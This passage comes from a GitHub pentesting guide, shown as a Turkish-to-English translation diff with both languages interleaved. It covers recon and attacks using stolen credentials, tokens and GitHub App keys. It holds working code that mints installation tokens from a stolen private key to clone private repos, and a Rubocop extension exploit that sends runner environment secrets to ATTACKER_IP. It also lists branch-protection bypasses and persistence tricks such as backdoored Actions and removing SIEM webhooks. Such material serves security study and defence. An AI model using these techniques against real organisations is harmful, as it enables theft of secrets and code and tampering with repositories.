- _I couldn't find an API with this info, share if you do_
|
||||
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Entegrasyonlar
|
||||
### Integrations
|
||||
|
||||
_Bu bilgiyi erişmek için API uç noktasını biliyorsanız bana bildirin!_
|
||||
_Let me know if you know the API endpoint to access this info!_
|
||||
|
||||
- **Üçüncü taraf uygulama erişim politikası**: Her uygulamanın erişimini kısıtlamak ve yalnızca gerekli olanlara izin vermek tavsiye edilir (gözden geçirdikten sonra).
|
||||
- **Yüklenmiş GitHub Uygulamaları**: Yalnızca gerekli olanların (gözden geçirdikten sonra) izin verilmesi tavsiye edilir.
|
||||
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
|
||||
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
|
||||
|
||||
## Kimlik Bilgilerini Kötüye Kullanarak Keşif ve Saldırılar
|
||||
## Recon & Attacks abusing credentials
|
||||
|
||||
Bu senaryo için, bir github hesabına erişim sağladığınızı varsayacağız.
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
|
||||
### Kullanıcı Kimlik Bilgileri ile
|
||||
### With User Credentials
|
||||
|
||||
Eğer bir şekilde bir kuruluş içindeki bir kullanıcı için kimlik bilgilerine sahipseniz, **giriş yapabilir** ve hangi **şirket ve kuruluş rollerine sahip olduğunuzu** kontrol edebilirsiniz, eğer sıradan bir üyeseniz, sıradan üyelerin hangi **izinlere sahip olduğunu**, hangi **gruplarda** olduğunuzu, hangi **izinlere sahip olduğunuzu** ve **depoların nasıl korunduğunu** kontrol edebilirsiniz.
|
||||
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
|
||||
|
||||
**2FA'nın kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz.
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
|
||||
> [!NOTE]
|
||||
> Eğer **`user_session` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır), kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan **kullanıcıyı tamamen taklit edebilirsiniz**.
|
||||
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
|
||||
Aşağıdaki [**dal koruma atlamaları**](#branch-protection-bypass) bölümünü kontrol edin, faydalı olursa.
|
||||
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
|
||||
|
||||
### Kullanıcı SSH Anahtarı ile
|
||||
### With User SSH Key
|
||||
|
||||
Github, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi** olarak kullanılacak **SSH anahtarları** ayarlamalarına olanak tanır (2FA uygulanmaz).
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
|
||||
Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **depolar üzerinde değişiklikler** yapabilirsiniz, ancak bunu github api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan depolar ve kullanıcı hakkında bilgi almak için **yerel ayarları listeleyebilirsiniz**:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Eğer kullanıcı adını GitHub kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\<github_username>.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz.
|
||||
|
||||
**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda da ayarlanabilir. Bu anahtara erişimi olan herkes, **bir depodan projeleri başlatma** yeteneğine sahip olacaktır. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir.
|
||||
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
|
||||
#### GPG Anahtarları
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
|
||||
Açıklandığı gibi [**burada**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) bazen taahhütleri imzalamak gerekebilir yoksa keşfedilebilirsiniz.
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
|
||||
Mevcut kullanıcının herhangi bir anahtara sahip olup olmadığını yerel olarak kontrol edin:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Kullanıcı Tokeni ile
|
||||
|
||||
[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-github-information.md#personal-access-tokens) için bir giriş.
|
||||
### With User Token
|
||||
|
||||
Bir kullanıcı tokeni, HTTPS üzerinden Git için **şifre yerine** kullanılabilir veya [**API'ye Temel Kimlik Doğrulaması ile kimlik doğrulamak için**](https://docs.github.com/v3/auth/#basic-authentication) kullanılabilir. Ekli olan ayrıcalıklara bağlı olarak farklı eylemler gerçekleştirebilirsiniz.
|
||||
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
Bir Kullanıcı tokeni şöyle görünür: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
|
||||
|
||||
### Oauth Uygulaması ile
|
||||
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
[**Github Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#oauth-applications) için bir giriş.
|
||||
### With Oauth Application
|
||||
|
||||
Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir.
|
||||
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
|
||||
|
||||
Bir Oauth uygulamasının talep edebileceği [kapsamlar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) şunlardır. Her zaman kabul etmeden önce talep edilen kapsamları kontrol etmelisiniz.
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir.
|
||||
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
|
||||
|
||||
### Github Uygulaması ile
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
|
||||
[**Github Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#github-applications) için bir giriş.
|
||||
### With Github Application
|
||||
|
||||
Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Github Uygulaması** oluşturabilir.
|
||||
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
|
||||
|
||||
Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir.
|
||||
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
#### Bir GitHub Uygulamasını özel anahtarı ile taklit etme (JWT → kurulum erişim tokenleri)
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
|
||||
Bir GitHub Uygulamasının özel anahtarını (PEM) elde ederseniz, uygulamayı tüm kurulumları boyunca tamamen taklit edebilirsiniz:
|
||||
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
|
||||
|
||||
- Özel anahtarla imzalanmış kısa ömürlü bir JWT oluşturun
|
||||
- Kurulumları listelemek için GitHub Uygulaması REST API'sini çağırın
|
||||
- Her kurulum için erişim tokenleri oluşturun ve bunları o kuruluşa verilen depoları listelemek/kopyalamak/push yapmak için kullanın
|
||||
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
|
||||
|
||||
Gereksinimler:
|
||||
- GitHub Uygulaması özel anahtarı (PEM)
|
||||
- GitHub Uygulaması ID'si (sayısal). GitHub, iss'nin Uygulama ID'si olmasını gerektirir
|
||||
- Generate a short‑lived JWT signed with the private key
|
||||
- Call the GitHub App REST API to enumerate installations
|
||||
- Mint per‑installation access tokens and use them to list/clone/push to repositories granted to that installation
|
||||
|
||||
Requirements:
|
||||
- GitHub App private key (PEM)
|
||||
- GitHub App ID (numeric). GitHub requires iss to be the App ID
|
||||
|
||||
Create JWT (RS256):
|
||||
|
||||
JWT oluşturun (RS256):
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
```
|
||||
Kimlik doğrulaması yapılmış uygulama için kurulumları listele:
|
||||
|
||||
List installations for the authenticated app:
|
||||
|
||||
```bash
|
||||
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
|
||||
|
||||
curl -sS -H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
```
|
||||
Bir kurulum erişim belirteci oluşturun (geçerlilik süresi ≤ 10 dakika):
|
||||
|
||||
Create an installation access token (valid ≤ 10 minutes):
|
||||
|
||||
```bash
|
||||
INSTALL_ID=12345678
|
||||
curl -sS -X POST \
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
```
|
||||
Token'i kullanarak koda erişin. x‑access‑token URL biçimini kullanarak klonlayabilir veya itebilirsiniz:
|
||||
|
||||
Use the token to access code. You can clone or push using the x‑access‑token URL form:
|
||||
|
||||
```bash
|
||||
TOKEN=ghs_...
|
||||
REPO=owner/name
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
# push works if the app has contents:write on that repository
|
||||
```
|
||||
Belirli bir organizasyonu hedeflemek ve özel repoları listelemek için Programatik PoC (PyGithub + PyJWT):
|
||||
|
||||
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt, requests
|
||||
from github import Auth, GithubIntegration
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
ORG = "someorg"
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
|
||||
auth = Auth.AppAuth(APP_ID, signing_key)
|
||||
GI = GithubIntegration(auth=auth)
|
||||
@@ -240,53 +253,57 @@ print(f"Installation ID: {installation.id}")
|
||||
|
||||
jwt_tok = gen_jwt()
|
||||
r = requests.post(
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
)
|
||||
access_token = r.json()["token"]
|
||||
|
||||
print("--- repos ---")
|
||||
for repo in installation.get_repos():
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
```
|
||||
Notlar:
|
||||
- Kurulum tokenleri tam olarak uygulamanın depo düzeyi izinlerini miras alır (örneğin, içerikler: yazma, pull_requests: yazma)
|
||||
- Tokenler ≤10 dakikada süresi doluyor, ancak özel anahtarı koruduğunuz sürece yeni tokenler sonsuz bir şekilde oluşturulabilir
|
||||
- Ayrıca, JWT kullanarak REST API (GET /app/installations) aracılığıyla kurulumları listeleyebilirsiniz
|
||||
|
||||
## Kompromi & Kötüye Kullanım Github Action
|
||||
Notes:
|
||||
- Installation tokens inherit exactly the app’s repository‑level permissions (for example, contents: write, pull_requests: write)
|
||||
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
|
||||
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
|
||||
|
||||
Bir Github Action'ı ele geçirmek ve kötüye kullanmak için birkaç teknik vardır, buradan kontrol edebilirsiniz:
|
||||
## Compromise & Abuse Github Action
|
||||
|
||||
There are several techniques to compromise and abuse a Github Action, check them here:
|
||||
|
||||
{{#ref}}
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Harici araçlar çalıştıran üçüncü taraf GitHub Uygulamalarını Kötüye Kullanma (Rubocop uzantısı RCE)
|
||||
## Abusing third‑party GitHub Apps running external tools (Rubocop extension RCE)
|
||||
|
||||
Bazı GitHub Uygulamaları ve PR inceleme hizmetleri, depo kontrolündeki yapılandırma dosyalarını kullanarak pull request'ler üzerinde harici linters/SAST çalıştırır. Desteklenen bir araç dinamik kod yüklemeye izin veriyorsa, bir PR hizmetin çalıştırıcısında RCE elde edebilir.
|
||||
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repository‑controlled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the service’s runner.
|
||||
|
||||
Örnek: Rubocop, YAML yapılandırmasından uzantıları yüklemeyi destekler. Hizmet, bir depo tarafından sağlanan .rubocop.yml dosyasını geçirirse, yerel bir dosyayı gerektirerek rastgele Ruby kodu çalıştırabilirsiniz.
|
||||
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repo‑provided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
|
||||
|
||||
- Tetikleme koşulları genellikle şunları içerir:
|
||||
- Araç hizmette etkinleştirilmiştir
|
||||
- PR, aracın tanıdığı dosyaları içerir (Rubocop için: .rb)
|
||||
- Repo, aracın yapılandırma dosyasını içerir (Rubocop, .rubocop.yml dosyasını her yerde arar)
|
||||
- Trigger conditions usually include:
|
||||
- The tool is enabled in the service
|
||||
- The PR contains files the tool recognizes (for Rubocop: .rb)
|
||||
- The repo contains the tool’s config file (Rubocop searches for .rubocop.yml anywhere)
|
||||
|
||||
PR'deki istismar dosyaları:
|
||||
Exploit files in the PR:
|
||||
|
||||
.rubocop.yml
|
||||
|
||||
```yaml
|
||||
require:
|
||||
- ./ext.rb
|
||||
- ./ext.rb
|
||||
```
|
||||
ext.rb (çalıştırıcı ortam değişkenlerini dışa aktarma):
|
||||
|
||||
ext.rb (exfiltrate runner env vars):
|
||||
|
||||
```ruby
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
@@ -297,92 +314,99 @@ json_data = env_vars.to_json
|
||||
url = URI.parse('http://ATTACKER_IP/')
|
||||
|
||||
begin
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
rescue StandardError => e
|
||||
warn e.message
|
||||
warn e.message
|
||||
end
|
||||
```
|
||||
Ayrıca, linter'ın gerçekten çalışması için yeterince büyük bir sahte Ruby dosyası (örneğin, main.rb) ekleyin.
|
||||
|
||||
Gerçek hayatta gözlemlenen etki:
|
||||
- Linter'ı çalıştıran üretim koşucusunda tam kod yürütme
|
||||
- Hizmet tarafından kullanılan GitHub Uygulaması özel anahtarı, API anahtarları, DB kimlik bilgileri vb. dahil olmak üzere hassas ortam değişkenlerinin dışa aktarılması
|
||||
- Sızdırılmış bir GitHub Uygulaması özel anahtarı ile kurulum jetonları oluşturabilir ve o uygulamaya verilen tüm depolara okuma/yazma erişimi alabilirsiniz (GitHub Uygulaması taklitine ilişkin yukarıdaki bölüme bakın)
|
||||
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
|
||||
|
||||
Dış araçlar çalıştıran hizmetler için güçlendirme yönergeleri:
|
||||
- Depo tarafından sağlanan araç yapılandırmalarını güvensiz kod olarak değerlendirin
|
||||
- Araçları hassas ortam değişkenlerinin monte edilmediği sıkı bir şekilde izole edilmiş kum havuzlarında çalıştırın
|
||||
- En az ayrıcalık ilkelerini ve dosya sistemi izolasyonunu uygulayın ve internet erişimi gerektirmeyen araçlar için dışa ağ çıkışını kısıtlayın/reddedin
|
||||
Impact observed in the wild:
|
||||
- Full code execution on the production runner that executed the linter
|
||||
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
|
||||
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
|
||||
|
||||
## Dal Koruma Atlatma
|
||||
Hardening guidelines for services running external tools:
|
||||
- Treat repository‑provided tool configs as untrusted code
|
||||
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
|
||||
- Apply least‑privilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that don’t require internet access
|
||||
|
||||
- **Bir dizi onay gerektir**: Birkaç hesabı ele geçirdiyseniz, PR'lerinizi diğer hesaplardan kabul edebilirsiniz. PR'yi oluşturduğunuz hesaba sahipseniz, kendi PR'nizi kabul edemezsiniz. Ancak, depoda bir **Github Action** ortamına erişiminiz varsa, **GITHUB_TOKEN** kullanarak **PR'nizi onaylayabilirsiniz** ve bu şekilde 1 onay alabilirsiniz.
|
||||
- _Bu ve Kod Sahipleri kısıtlaması için not: genellikle bir kullanıcı kendi PR'lerini onaylayamaz, ancak eğer onaylayabiliyorsanız, bunu PR'lerinizi kabul etmek için kötüye kullanabilirsiniz._
|
||||
- **Yeni taahhütler gönderildiğinde onayları iptal et**: Bu ayar yapılmadıysa, geçerli kod gönderebilir, birinin onaylamasını bekleyebilir ve kötü niyetli kod ekleyip korunan dal ile birleştirebilirsiniz.
|
||||
- **Kod Sahiplerinden inceleme gerektir**: Bu etkinleştirildiğinde ve bir Kod Sahibiyseniz, **Github Action'ın PR'nizi oluşturmasını ve ardından kendiniz onaylamasını** sağlayabilirsiniz.
|
||||
- **CODEOWNER dosyası yanlış yapılandırıldığında** Github şikayet etmez ama kullanmaz. Bu nedenle, yanlış yapılandırıldığında **Kod Sahipleri koruması uygulanmaz.**
|
||||
- **Belirtilen aktörlerin çekme isteği gereksinimlerini atlamasına izin ver**: Eğer bu aktörlerden biriyseniz, çekme isteği korumalarını atlayabilirsiniz.
|
||||
- **Yönetici ekle**: Bu ayar yapılmadıysa ve depo yöneticisiyseniz, bu dal korumalarını atlayabilirsiniz.
|
||||
- **PR Kaçırma**: Başka birinin PR'sini **kötü niyetli kod ekleyerek değiştirme**, sonuçta oluşan PR'yi kendiniz onaylama ve her şeyi birleştirme yeteneğine sahip olabilirsiniz.
|
||||
- **Dal Koruma Kaldırma**: Eğer depo yöneticisiyseniz, **korumaları devre dışı bırakabilir**, PR'nizi birleştirebilir ve korumaları geri ayarlayabilirsiniz.
|
||||
- **İtme korumalarını atlama**: Eğer bir depo **sadece belirli kullanıcıların** dallarda itme (kod birleştirme) yapmasına izin veriyorsa (dal koruması tüm dalları koruyor olabilir ve joker karakter `*` kullanıyor olabilir).
|
||||
- Eğer depoda **yazma erişiminiz varsa ama dal koruması nedeniyle kod itmenize izin verilmiyorsa**, yine de **yeni bir dal oluşturabilir** ve içinde **kod itildiğinde tetiklenen bir github action oluşturabilirsiniz**. **Dal koruması dal oluşturulana kadar dalı korumayacak**, bu nedenle bu dalda ilk kod itişi **github action'ı çalıştıracaktır**.
|
||||
## Branch Protection Bypass
|
||||
|
||||
## Ortam Koruma Atlatma
|
||||
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
|
||||
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
|
||||
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
|
||||
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
|
||||
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
|
||||
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
|
||||
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
|
||||
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
|
||||
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
|
||||
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
|
||||
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
|
||||
|
||||
[**Github Ortamı hakkında temel bilgileri kontrol edin**](basic-github-information.md#git-environments) için bir giriş.
|
||||
## Bypass Environments Protections
|
||||
|
||||
Bir ortam **tüm dallardan erişilebiliyorsa**, **korunmuyor** ve ortam içindeki sırları kolayca erişebilirsiniz. Tüm dalların **korunduğu** (isimlerini belirterek veya `*` kullanarak) depolar bulabileceğinizi unutmayın; bu senaryoda, **kod itebileceğiniz bir dal bulun** ve yeni bir github action oluşturarak sırları **dışa aktarabilirsiniz** (veya birini değiştirebilirsiniz).
|
||||
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
|
||||
|
||||
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
|
||||
|
||||
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
|
||||
|
||||
Tüm dalların **korunduğu** (joker karakter `*` ile) ve **dallara kimin kod itebileceğinin belirtildiği** bir kenar durumu bulabileceğinizi unutmayın (_bunu dal korumasında belirtebilirsiniz_) ve **kullanıcınıza izin verilmez**. Yine de özel bir github action çalıştırabilirsiniz çünkü bir dal oluşturabilir ve kendisi üzerinde itme tetikleyicisini kullanabilirsiniz. **Dal koruması yeni bir dalda itmeye izin verir, bu nedenle github action tetiklenecektir.**
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Not edin ki **dal oluşturulduktan sonra** **dal koruması yeni dala uygulanacak** ve onu değiştiremeyeceksiniz, ancak o zamana kadar sırları zaten ele geçirmiş olacaksınız.
|
||||
|
||||
## Süreklilik
|
||||
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
|
||||
- **Kullanıcı token'ı** oluşturun
|
||||
- **Sırların** içinden **github token'larını** çalın
|
||||
- **İş akışı sonuçlarının** ve **dalların** **silinmesi**
|
||||
- Tüm org'a **daha fazla izin** verin
|
||||
- Bilgileri dışarı aktarmak için **webhook'lar** oluşturun
|
||||
- **Dış işbirlikçileri** davet edin
|
||||
- **SIEM** tarafından kullanılan **webhook'ları** **kaldırın**
|
||||
- **Arka kapı** ile **Github Action** oluşturun/değiştirin
|
||||
- **Sır** değeri değişikliği yoluyla **komut enjeksiyonu** için **savunmasız Github Action** bulun
|
||||
## Persistence
|
||||
|
||||
### Sahte Taahhütler - Repo taahhütleri aracılığıyla arka kapı
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
|
||||
Github'da bir **fork'tan bir repo için PR oluşturmak** mümkündür. PR **kabul edilse bile**, orijinal repoda bir **taahhüt** kimliği, kodun fork versiyonu için oluşturulacaktır. Bu nedenle, bir saldırgan **görünüşte meşru bir repodan, repo sahibinin oluşturmadığı belirli bir taahhütü kullanmak için sabitleyebilir**.
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
|
||||
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
|
||||
[**bu**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e) gibi:
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
jobs:
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
